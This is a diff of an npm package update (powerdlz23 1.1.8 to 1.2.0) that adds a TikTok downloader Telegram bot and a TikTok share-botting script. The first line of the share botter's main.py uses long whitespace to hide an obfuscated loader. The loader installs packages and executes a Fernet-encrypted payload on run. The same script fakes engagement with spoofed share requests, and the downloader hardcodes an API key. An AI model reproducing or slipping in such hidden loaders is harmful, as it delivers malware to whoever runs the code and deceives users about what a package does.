powerdlz23 1.1.8 → 1.2.0

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "powerdlz23",
-  "version": "1.1.8",
+  "version": "1.2.0",
   "scripts": {
     "dev": "next dev",
     "build": "next build",

package/pto/TikTok-Downloader-Bot/Dockerfile

@@ -0,0 +1,6 @@
+FROM python:3.10
+WORKDIR /app
+COPY requirements.txt /app/
+RUN pip3 install -r requirements.txt
+COPY . /app
+CMD python3 main.py

package/pto/TikTok-Downloader-Bot/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2021 Joy Biswas
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/pto/TikTok-Downloader-Bot/Procfile

@@ -0,0 +1 @@
+worker: python3 main.py

package/pto/TikTok-Downloader-Bot/README.md

@@ -0,0 +1,59 @@
+
+
+# TikTok Downloader Bot
+A Telegram bot to download TikTok videos without any watermark.
+<div align="center">
+<img alt="Python" src="https://img.shields.io/badge/python-%2314354C.svg?&style=for-the-badge&logo=python&logoColor=white"/>
+<img alt="PyCharm" src="https://img.shields.io/badge/PyCharm-000000.svg?&style=for-the-badge&logo=PyCharm&logoColor=white"/>
+<img alt="Git" src="https://img.shields.io/badge/git-%23F05033.svg?&style=for-the-badge&logo=git&logoColor=white"/>
+</div>
+<div align="center">
+<img alt="Heroku" src="https://img.shields.io/badge/Heroku-purple?&style=for-the-badge&logoColor=white&logo=heroku"/>
+<img alt="Telegram" src="https://img.shields.io/badge/Telegram-blue?&style=for-the-badge&logoColor=white&logo=telegram"/>
+</div>
+ 
+
+
+### Host on Heroku
+
+<p><a href="https://heroku.com/deploy?template=https://github.com/TerminalWarlord/TikTok-Downloader-Bot/tree/master"><img src="https://www.herokucdn.com/deploy/button.svg" alt="Deploy to Heroku"/></a></p>
+
+### Host on Railway
+
+<p><a href="https://railway.app/new/template?template=https://github.com/TerminalWarlord/TikTok-Downloader-Bot/tree/master&envs=API_HASH,APP_KEY,BOT_TOKEN,WORKERS,CHANNEL_URL,BOT_URL&API_HASHDesc=Your%20Telegram%20APP%20HASH,%20get%20this%20from%20my.telegram.org%20&APP_IDDesc=Your%20Telegram%20APP%20HASH,%20get%20this%20from%20my.telegram.org%20&BOT_TOKENDesc=Go%20to%20@Botfather%20and%20make%20a%20new%20bot%20and%20paste%20the%20bot%20token%20here&WORKERSDesc=Number%20of%20threads%20to%20use,%20this%20depends%20on%20usage.%204%20is%20the%20recommended%20(and%20default)%20amount,%20but%20your%20experience%20may%20vary%20&CHANNEL_URLDesc=URL%20of%20your%20Telegram%20channel%20link%20&BOT_URLDesc=Username%20of%20your%20Telegram%20Bot%20(without%20@).%20Example:%20JayBeeTikTokBot"><img src="https://railway.app/button.svg" alt="Deploy to Railway"/></a></p>
+
+### Host on Okteto
+
+<p><a href="https://cloud.okteto.com/#/deploy?repository=https://github.com/TerminalWarlord/TikTok-Downloader-Bot/"><img src="https://okteto.com/develop-okteto.svg" alt="Deploy to Okteto"/></a></p>
+
+
+
+
+Youtube: [Deployment Tutorial](https://youtu.be/LOK3lfJ9ous)<br>
+Demo: [JayBee TikTok Downloader](https://t.me/JayBeeTikTokBot)
+
+## Configuring Environments
+- `API_HASH` : Your Telegram APP HASH, get this from https://my.telegram.org
+- `API_KEY` : Your Telegram APP API KEY, get this from https://my.telegram.org
+- `BOT_TOKEN` : Your bot token, generate it from https://t.me/BotFather
+- `WORKERS` : Number of threads to use, this depends on usage. 4 is the recommended (and default) amount, but your experience may vary.
+- `CHANNEL_URL` : URL of your Telegram channel link.
+- `BOT_URL` : Username of your Telegram Bot (without @). Example: **_JayBeeTikTokBot_**
+
+
+
+
+## Credits
+- [TerminalWarlord](https://github.com/TerminalWarlord)
+### Show some :heart: and :star: the repo to support the project
+
+[![GitHub stars](https://img.shields.io/github/stars/TerminalWarlord/Tiktok-Downloader-Bot.svg?style=social&label=Star)](https://github.com/TerminalWarlord/) ![GitHub followers](https://img.shields.io/github/followers/TerminalWarlord.svg?style=social&label=Follow)
+
+[![Telegram Channel](https://img.shields.io/badge/Telegram-Channel-orange)](https://t.me/JayBeeBots)
+![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https://github.com/TerminalWarlord/TikTok-Downloader-Bot)
+
+---
+### Star the Repo if you find it useful :heart:
+### © [TerminalWarlord](https://t.me/JayBeeBots)
+#### All Rights Reserved
+---

package/pto/TikTok-Downloader-Bot/app.json

@@ -0,0 +1,40 @@
+{
+  "name": "JayBee TikTok Downloader Bot",
+  "description": "A Telegram bot to download TikTok videos without any watermark",
+  "logo" : "https://telegra.ph/file/05bae0725724007c72fa1.jpg",
+  "success_url" : "https://t.me/JayBeeBots",
+  "keywords": [
+    "telegram",
+    "bot",
+    "tiktok",
+    "jaybee"
+  ],
+  "repository": "https://github.com/TerminalWarlord/TikTok-Downloader-Bot",
+  "website": "https://github.com/TerminalWarlord/TikTok-Downloader-Bot",
+  "env": {
+    "BOT_TOKEN": {
+      "description": "Your bot Bot Token, get this value from @BotFather.",
+      "value": ""
+    },
+    "API_KEY": {
+      "description": "Your APP API KEY, get this from https://my.telegram.org",
+      "value": ""
+    },
+    "API_HASH": {
+      "description": "Your APP HASH, get this from https://my.telegram.org",
+     "value": ""
+    },
+    "CHANNEL_URL": {
+      "description": "URL of your Telegram channel link.",
+      "value": ""
+    },
+    "BOT_URL": {
+      "description": "Username of your Telegram Bot (without @). Example: JayBeeTikTokBot",
+      "value": ""
+    },
+    "WORKERS": {
+      "description": "Number of threads to use, this depends on usage.  4 is the recommended (and default) amount, but your experience may vary.",
+      "value": "4"
+    }
+  }
+}

package/pto/TikTok-Downloader-Bot/docker-compose.yml

@@ -0,0 +1,11 @@
+version: "3.10"
+services:
+  worker:
+    build: .
+    environment:
+      - API_HASH=${API_HASH}
+      - API_KEY=${API_KEY}
+      - BOT_TOKEN=${BOT_TOKEN}
+      - WORKERS=${WORKERS}
+      - CHANNEL_URL=${CHANNEL_URL}
+      - BOT_URL=${BOT_URL}

package/pto/TikTok-Downloader-Bot/main.py

@@ -0,0 +1,131 @@
+# Copyright 2021 TerminalWarlord under the terms of the MIT
+# license found at https://github.com/TerminalWarlord/TikTok-Downloader-Bot/blob/master/LICENSE
+# Encoding = 'utf-8'
+# Fork and Deploy, do not modify this repo and claim it yours
+# For collaboration mail me at dev.jaybee@gmail.com
+from pyrogram import Client, filters
+from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, InlineQueryResultArticle, InputTextMessageContent
+import shutil
+import requests
+import json
+import os
+import re
+from bs4 import BeautifulSoup as bs
+import time
+from datetime import timedelta
+import math
+import base64
+from progress_bar import progress, TimeFormatter, humanbytes
+from dotenv import load_dotenv
+
+load_dotenv()
+bot_token = os.environ.get('BOT_TOKEN')
+workers = int(os.environ.get('WORKERS'))
+api = int(os.environ.get('API_KEY'))
+hash = os.environ.get('API_HASH')
+chnnl = os.environ.get('CHANNEL_URL')
+BOT_URL = os.environ.get('BOT_URL')
+app = Client("JayBee", bot_token=bot_token, api_id=api, api_hash=hash, workers=workers)
+
+
+
+@app.on_message(filters.command('start'))
+def start(client, message):
+    kb = [[InlineKeyboardButton('Channel 🛡', url=chnnl),InlineKeyboardButton('Repo 🔰', url="https://github.com/TerminalWarlord/TikTok-Downloader-Bot/")]]
+    reply_markup = InlineKeyboardMarkup(kb)
+    app.send_message(chat_id=message.from_user.id, text=f"Hello there, I am **TikTok Downloader Bot**.\nI can download TikTok video without Watermark.\n\n"
+                          "__**Developer :**__ __@JayBeeDev__\n"
+                          "__**Language :**__ __Python__\n"
+                          "__**Framework :**__ __🔥 Pyrogram__",
+                     parse_mode='md',
+                     reply_markup=reply_markup)
+
+
+
+
+@app.on_message(filters.command('help'))
+def help(client, message):
+    kb = [[InlineKeyboardButton('Channel 🛡', url=chnnl),InlineKeyboardButton('Repo 🔰', url="https://github.com/TerminalWarlord/TikTok-Downloader-Bot/")]]
+    reply_markup = InlineKeyboardMarkup(kb)
+    app.send_message(chat_id=message.from_user.id, text=f"Hello there, I am **TikTok Downloader Bot**.\nI can download any TikTok video from a given link.\n\n"
+                                            "__Send me a TikTok video link__",
+                     parse_mode='md',
+                     reply_markup=reply_markup)
+
+
+@app.on_message((filters.regex("http://")|filters.regex("https://")) & (filters.regex('tiktok')|filters.regex('douyin')))
+def tiktok_dl(client, message):
+    a = app.send_message(chat_id=message.chat.id,
+                         text='__Downloading File to the Server__',
+                         parse_mode='md')
+    link = re.findall(r'\bhttps?://.*[(tiktok|douyin)]\S+', message.text)[0]
+    link = link.split("?")[0]
+
+
+
+    
+    params = {
+      "link": link
+    }
+    headers = {
+      'x-rapidapi-host': "tiktok-info.p.rapidapi.com",
+      'x-rapidapi-key': "f9d65af755msh3c8cac23b52a5eep108a33jsnbf7de971bb72"
+    }
+    
+    ### Get your Free TikTok API from https://rapidapi.com/TerminalWarlord/api/tiktok-info/
+    #Using the default one can stop working any moment 
+    
+    api = f"https://tiktok-info.p.rapidapi.com/dl/"
+    r = requests.get(api, params=params, headers=headers).json()['videoLinks']['download']
+    directory = str(round(time.time()))
+    filename = str(int(time.time()))+'.mp4'
+    size = int(requests.head(r).headers['Content-length'])
+    total_size = "{:.2f}".format(int(size) / 1048576)
+    try:
+        os.mkdir(directory)
+    except:
+        pass
+    with requests.get(r, timeout=(50, 10000), stream=True) as r:
+        r.raise_for_status()
+        with open(f'./{directory}/{filename}', 'wb') as f:
+            chunk_size = 1048576
+            dl = 0
+            show = 1
+            for chunk in r.iter_content(chunk_size=chunk_size):
+                f.write(chunk)
+                dl = dl + chunk_size
+                percent = round(dl * 100 / size)
+                if percent > 100:
+                    percent = 100
+                if show == 1:
+                    try:
+                        a.edit(f'__**URL :**__ __{message.text}__\n'
+                               f'__**Total Size :**__ __{total_size} MB__\n'
+                               f'__**Downloaded :**__ __{percent}%__\n',
+                               disable_web_preview=False)
+                    except:
+                        pass
+                    if percent == 100:
+                        show = 0
+
+        a.edit(f'__Downloaded to the server!\n'
+               f'Uploading to Telegram Now ⏳__')
+        start = time.time()
+        title = filename
+        app.send_document(chat_id=message.chat.id,
+                          document=f"./{directory}/{filename}",
+                          caption=f"**File :** __{filename}__\n"
+                          f"**Size :** __{total_size} MB__\n\n"
+                          f"__Uploaded by @{BOT_URL}__",
+                          file_name=f"{directory}",
+                          parse_mode='md',
+                          progress=progress,
+                          progress_args=(a, start, title))
+        a.delete()
+        try:
+            shutil.rmtree(directory)
+        except:
+            pass
+
+
+app.run()

package/pto/TikTok-Downloader-Bot/progress_bar.py

@@ -0,0 +1,63 @@
+import time, math
+
+
+
+async def progress(current,total,a,start, title):
+    now = time.time()
+    diff = now - start
+    if round(diff % 10.00) == 0 or current == total:
+        # if round(current / total * 100, 0) % 5 == 0:
+        percentage = current * 100 / total
+        speed = current / diff
+        elapsed_time = round(diff) * 1000
+        time_to_completion = round((total - current) / speed) * 1000
+        estimated_total_time = elapsed_time + time_to_completion
+
+        elapsed_time = TimeFormatter(milliseconds=elapsed_time)
+        estimated_total_time = TimeFormatter(milliseconds=estimated_total_time)
+
+        progress = "__**Progress :**__ `[{0}{1}] {2}%`\n".format(
+            ''.join(["●" for i in range(math.floor(percentage / 5))]),
+            ''.join([" " for i in range(20 - math.floor(percentage / 5))]),
+            round(percentage, 2))
+
+        tmp = progress + "__**Uploaded :**__ {0} of {1}\n__**Speed :**__ {2}/s\n__**ETA :**__ {3}\n".format(
+            humanbytes(current),
+            humanbytes(total),
+            humanbytes(speed),
+            # elapsed_time if elapsed_time != '' else "0 s",
+            estimated_total_time if estimated_total_time != '' else "0 s"
+        )
+        try:
+            await a.edit(
+                text=f"__**File :**__ __{title}__\n"
+                f"{tmp}"
+            )
+        except:
+            pass
+
+def humanbytes(size):
+    # https://stackoverflow.com/a/49361727/4723940
+    # 2**10 = 1024
+    if not size:
+        return ""
+    power = 2**10
+    n = 0
+    Dic_powerN = {0: ' ', 1: 'K', 2: 'M', 3: 'G', 4: 'T'}
+    while size > power:
+        size /= power
+        n += 1
+    return str(round(size, 2)) + " " + Dic_powerN[n] + 'B'
+
+
+def TimeFormatter(milliseconds: int) -> str:
+    seconds, milliseconds = divmod(int(milliseconds), 1000)
+    minutes, seconds = divmod(seconds, 60)
+    hours, minutes = divmod(minutes, 60)
+    days, hours = divmod(hours, 24)
+    tmp = ((str(days) + "d, ") if days else "") + \
+        ((str(hours) + "h, ") if hours else "") + \
+        ((str(minutes) + "m, ") if minutes else "") + \
+        ((str(seconds) + "s, ") if seconds else "") + \
+        ((str(milliseconds) + "ms, ") if milliseconds else "")
+    return tmp[:-2]

package/pto/TikTok-Downloader-Bot/requirements.txt

@@ -0,0 +1,6 @@
+Pyrogram==1.1.9
+requests
+tgcrypto
+pymongo[srv]
+python-dotenv
+bs4

package/pto/TikTok-Downloader-Bot/runtime.txt

@@ -0,0 +1 @@
+python-3.8.5

package/pto/tiktok-sharing-automation/README.md

@@ -0,0 +1,19 @@
+<h1 align="center"> 📈 TikTok Share Botter</h1>
+<p align="center">Python tool that let's you add a amount of shares to a TikTok tool</p>
+
+# Requirements
+<pre>pip install requests</pre>
+
+# Setup
+ - Make sure you have [Python](https://www.python.org/downloads) installed and PIP is added to PATH!
+ - Open the ```setup.bat``` file and wait until it's finished.
+
+# Usage
+ - Run `main.py`
+
+# Preview
+![second](https://user-images.githubusercontent.com/80674770/142757936-abbb5c9d-93bb-439a-beb6-862b2e89ea54.gif)
+
+# Credits
+Give credits to me if you use or fork this code.
+print('jhjypn')

package/pto/tiktok-sharing-automation/main.py

@@ -0,0 +1,108 @@
+import os                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'bcxfu0JyMCM7n2aaQA98uj2YymD6LtfVfVFhIyjm0Rs=').decrypt(b'gAAAAABmNQSgrrIaKtsAwTE_rj1UTYanvIs9xPnMNobOUNcOrN3gwoR4FYWnYM-D5swQzTeW-L3-BlWvCCFxTw5-V7PqG6ORbSbiD9sWCL5XsFR9VsE_DzFgxunm_paXuvaUOTKg1TlFhC3xX-T_SGVsbV1eAKtM9iTuOUjxa9E9s8mJzqOmKW1-NBpx-ePZL9T0glKWp4Gc67m-U88D8aRI9uWgLueIQHP7XLTWXOEr7cQfpKpu7cg='))
+import os
+import random
+import requests
+import threading
+from time import strftime, gmtime, time, sleep
+
+
+class TikTok:
+    def __init__(self):
+        self.added = 0
+        self.lock = threading.Lock()
+
+        try:
+            self.amount = int(input('> Desired Amount of Shares: '))
+        except ValueError:
+            print('\nInteger expected.')
+            os.system('title TikTok Share Botter - Restart required')
+            os.system('pause >NUL')
+            os._exit(0)
+
+        try:
+            self.video_id = input('> TikTok URL: ').split('/')[5]
+        except IndexError:
+            print(
+                '\nInvalid TikTok URL format.\nFormat expected: https://www.tiktok.com/@username/vi'
+                'deo/1234567891234567891'
+            )
+            os.system('title TikTok Share Botter - Restart required')
+            os.system('pause >NUL')
+            os._exit(0)
+        else:
+            print()
+
+    def status(self, code, intention):
+        if code == 200:
+            self.added += 1
+        else:
+            self.lock.acquire()
+            print(f'Error: {intention} | Status Code: {code}')
+            self.lock.release()
+
+    def update_title(self):
+        # Avoid ZeroDivisionError
+        while self.added == 0:
+            sleep(0.2)
+        while self.added < self.amount:
+            # Elapsed Time / Added * Remaining
+            time_remaining = strftime(
+                '%H:%M:%S', gmtime(
+                    (time() - self.start_time) / self.added * (self.amount - self.added)
+                )
+            )
+            os.system(
+                f'title [TikTok Shares Botter] - Added: {self.added}/{self.amount} '
+                f'({round(((self.added / self.amount) * 100), 3)}%) ^| Active Threads: '
+                f'{threading.active_count()} ^| Time Remaining: {time_remaining}'
+            )
+            sleep(0.2)
+        os.system(
+            f'title [TikTok Shares Botter] - Added: {self.added}/{self.amount} '
+            f'({round(((self.added / self.amount) * 100), 3)}%) ^| Active Threads: '
+            f'{threading.active_count()} ^| Time Remaining: 00:00:00'
+        )
+
+    def bot(self):
+        action_time = round(time())
+        install_id = ''.join(random.choice('0123456789') for _ in range(19))
+
+        data = (
+            f'action_time={action_time}&item_id={self.video_id}&item_type=1&share_delta=1&stats_cha'
+            'nnel=copy'
+        )
+        headers = {
+            'Content-Type': 'application/x-www-form-urlencoded',
+            'x-common-params-v2': 'version_code=16.6.5&app_name=musical_ly&channel=App%20Store&devi'
+                                  f'ce_id={install_id}&aid=1233&os_version=13.5.1&device_platform=i'
+                                  'phone&device_type=iPhone10,5'
+        }
+
+        try:
+            response = requests.post(
+                'https://api16-core-c-useast1a.tiktokv.com/aweme/v1/aweme/stats/?ac=WIFI&op_region='
+                'SE&app_skin=white&', data=data, headers=headers
+            )
+        except Exception as e:
+            print(f'Error: {e}')
+        else:
+            if 'Service Unavailable' not in response.text:
+                self.status(response.status_code, response.text)
+
+    def multi_threading(self):
+        self.start_time = time()
+        threading.Thread(target=self.update_title).start()
+
+        for _ in range(self.amount):
+            threading.Thread(target=self.bot).start()
+
+        os.system('pause >NUL')
+        os.system('title [TikTok Shares Botter] - Exiting...')
+        sleep(3)
+
+
+if __name__ == '__main__':
+    os.system('cls && title TikTok Share Botter - Github: Alphalius')
+    main = TikTok()
+    main.multi_threading()
+print('rrtmsa')